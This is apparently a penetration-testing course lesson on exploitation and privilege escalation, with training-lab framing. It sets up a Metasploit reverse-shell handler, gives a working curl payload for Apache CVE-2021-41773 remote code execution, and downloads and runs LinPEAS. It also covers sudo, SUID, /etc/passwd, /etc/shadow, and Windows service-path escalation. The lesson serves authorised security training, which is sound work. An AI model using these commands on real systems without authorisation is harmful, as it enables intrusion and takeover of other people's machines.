Exploitation: Services, Metasploit & Privilege Escalation

Prerequisites

• PEN-K003: Active Reconnaissance
• PEN-K004: Vulnerability Assessment

Why This Lesson Matters

Vulnerability assessment says "this might be exploitable." Exploitation says "here is the proof." Proving exploitability is what separates a penetration test from a scan and what justifies the risk rating in the report. This lesson covers how to exploit service-level vulnerabilities safely and then escalate from a foothold to higher privileges — while staying within scope and RoE.

1. The Exploitation Mindset

Proof, not persistence. The goal is to demonstrate impact with the minimum footprint necessary:

Minimum to prove a Critical RCE finding:
  → Execute id on the target system
  → Read /flag_proof or a specific sensitive file

You do NOT need to:
  → Install persistent backdoors beyond engagement requirements
  → Dump all credentials
  → Move laterally to other systems (unless specifically in scope)

Always note in the report: "Exploitation was stopped at X to minimise impact."

2. Metasploit Framework

Metasploit organises exploits into a consistent framework. Every module follows the same workflow.

# Launch Metasploit
msfconsole

# Search for a module
search type:exploit platform:linux "apache"
search cve:2021-41773

# Select and configure a module
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST tun0        # your VPN/tun interface IP
set LPORT 4444
options                # verify all required options are set
run

2.1 Common Module Types

2.2 Payload Types

Reverse shell vs bind shell: - Reverse: target connects back to you (preferred — works through NAT) - Bind: target listens; you connect to it (requires inbound access)

3. Manual Exploitation (Without Metasploit)

For report credibility and for environments where Metasploit is blocked, manual exploitation demonstrates real skill.

# SearchSploit — find and review a public exploit
searchsploit apache 2.4.49
searchsploit -m 50383          # copy exploit to current directory
cat 50383.py                   # review before running

# Run a manual exploit (Apache CVE-2021-41773 — path traversal to RCE)
curl 'https://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' 
  --data 'echo Content-Type: text/plain; echo; id'
# Response: uid=33(www-data) → RCE confirmed

4. Privilege Escalation

After gaining a low-privilege foothold, escalate to root/SYSTEM.

4.1 Linux Privilege Escalation

# Run automated enumeration
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh 2>/dev/null | tee linpeas_output.txt

# Key checks from linpeas output:
# [!] SUID binaries — can they be used for privilege escalation?
find / -perm -4000 -type f 2>/dev/null | xargs ls -la

# [!] Sudo rights — what can this user run as root?
sudo -l
# NOPASSWD: /usr/bin/vim → vim can open a shell: sudo vim -c ':!bash'

# [!] Writable cron jobs — inject commands
ls -la /etc/cron.d/ /etc/cron.daily/
cat /etc/crontab

# [!] Weak file permissions on sensitive files
ls -la /etc/passwd   # writable = add a root user
ls -la /etc/shadow   # readable = crack hashes offline

# GTFOBins — reference for SUID/sudo escalation techniques
# https://gtfobins.github.io

4.2 Windows Privilege Escalation

# Run WinPEAS
.winPEASany.exe | Out-File winpeas_output.txt

# Key checks:
# Unquoted service path
wmic service get name,pathname | findstr /i /v "C:Windows"
# Path with space and no quotes → plant binary in first segment

# AlwaysInstallElevated (installs MSI as SYSTEM if enabled)
reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated

# Weak service permissions
accesschk.exe -uwcqv "Authenticated Users" *
# SERVICE_ALL_ACCESS on a service → modify binary path → restart → SYSTEM shell

5. The Post-Exploitation Minimum

Once at elevated privilege, collect the proof of impact:

# Linux
id && hostname && cat /etc/passwd | grep "sh$"   # users with shells
cat /root/flag_proof                              # engagement flag

# Windows
whoami /all
type C:UsersAdministratorDesktopflag_proof.txt

Document: what privilege was achieved, from what starting user, on what host, at what time.

6. Common Mistakes

Mistake 1: Running exploits without reading the code first. A public exploit may contain intentional backdoors or may crash the target service. Always read before running. Test on an isolated system first if possible.

Mistake 2: Running all linpeas findings without filtering. LinPEAS produces a very long output. Focus on items marked [!] (99%) or [!!!] — not every yellow line requires investigation.

Mistake 3: Privilege escalating to root and then pivoting laterally without written authorisation. Reaching root on one host does not authorise you to use those root credentials to access other hosts. Check your scope document.

7. Practice Exercises

1. Metasploitset LHOST tun0 and run — but the connection does not come back. What three network conditions could explain this? What do you check?

2. sudo -l shows: (ALL) NOPASSWD: /usr/bin/find. Look up find on GTFOBins. How do you use it to get a root shell?

3. A service's binary path is C:Program Files (x86)Web Serverinwebserver.exe. Explain the unquoted service path vulnerability and describe how an attacker with write access to C:Program Files (x86) would exploit it.

8. Lab

Assessment mode: flag

challenge_spec_id: 314 — OFFSEC Easy

You are connected via VPN to a target network containing one Linux box.

Task: 1. Scan the target: discover open ports and identify a vulnerable service 2. Exploit the vulnerability to get a shell 3. Escalate privileges to root 4. Read /root/flag_proof and submit

9. Framework Alignment

10. Further Reading

• GTFOBins — https://gtfobins.github.io — SUID/sudo escalation reference
• PEASS-ng (LinPEAS / WinPEAS) — https://github.com/carlospolop/PEASS-ng
• HackTricks Privilege Escalation — https://book.hacktricks.xyz — Linux and Windows PE checklists

["Configure and run a Metasploit exploit module with a reverse Meterpreter payload, confirm the session, and collect the flag proof from the target", "Run LinPEAS on a compromised Linux host and identify the highest-priority privilege escalation vector (SUID binary or sudo misconfiguration), then use GTFOBins to execute it", "Identify an unquoted service path on a Windows host, explain the exploitation mechanism, and describe the proof-of-concept that demonstrates privilege escalation to SYSTEM"]

Prerequisites → Why this matters → Exploitation mindset (proof not persistence) → Metasploit workflow (search, use, configure, run, payload types) → Manual exploitation (searchsploit, curl RCE) → Linux privilege escalation (LinPEAS, SUID, sudo, cron) → Windows privilege escalation (WinPEAS, unquoted paths, AlwaysInstallElevated, weak service perms) → Post-exploitation minimum → Common mistakes → Practice exercises → Lab (OFFSEC Easy, spec 314) → Framework alignment → Further reading